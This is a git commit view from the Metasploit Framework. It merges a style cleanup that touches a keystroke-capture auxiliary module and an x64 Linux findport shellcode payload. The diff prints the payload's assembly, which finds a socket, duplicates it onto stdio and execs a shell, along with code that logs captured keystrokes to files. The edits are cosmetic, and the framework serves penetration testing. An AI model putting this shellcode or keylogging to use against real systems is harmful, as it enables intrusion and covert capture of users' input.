Merge branch 'msftidy_police' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-msftidy_police

unstable
jvazquez-r7 2012-10-18 11:32:55 +02:00
commit 291ad27a69
10 changed files with 166 additions and 166 deletions

View File

@ -182,8 +182,8 @@ class Metasploit3 < Msf::Auxiliary
print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}") print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
end end
::File.open( @client_cache[cid][:path_clean], "a") { |fd| fd.puts nice } ::File.open( @client_cache[cid][:path_clean], "ab") { |fd| fd.puts nice }
::File.open( @client_cache[cid][:path_raw], "a") { |fd| fd.write(real) } ::File.open( @client_cache[cid][:path_raw], "ab") { |fd| fd.write(real) }
if nice.length > 0 if nice.length > 0
print_good("[#{cid}] Keys: #{nice}") print_good("[#{cid}] Keys: #{nice}")

View File

@ -38,14 +38,14 @@ module Metasploit3
'CPORT' => [ 32, 'n' ], 'CPORT' => [ 32, 'n' ],
}, },
'Assembly' => <<EOS 'Assembly' => %Q|
xor rdi,rdi xor rdi,rdi
xor rbx,rbx xor rbx,rbx
mov bl,0x14 mov bl,0x14
sub rsp,rbx sub rsp,rbx
lea rdx,[rsp] lea rdx,[rsp]
lea rsi,[rsp+4] lea rsi,[rsp+4]
find_port: find_port:
push 0x34 ; getpeername push 0x34 ; getpeername
pop rax pop rax
syscall syscall
@ -55,7 +55,7 @@ find_port:
dec rdi dec rdi
push 2 push 2
pop rsi pop rsi
dup2: dup2:
push 0x21 ; dup2 push 0x21 ; dup2
pop rax pop rax
syscall syscall
@ -74,7 +74,7 @@ dup2:
push 0x3b ; execve push 0x3b ; execve
pop rax pop rax
syscall syscall
EOS |
} }
)) ))
end end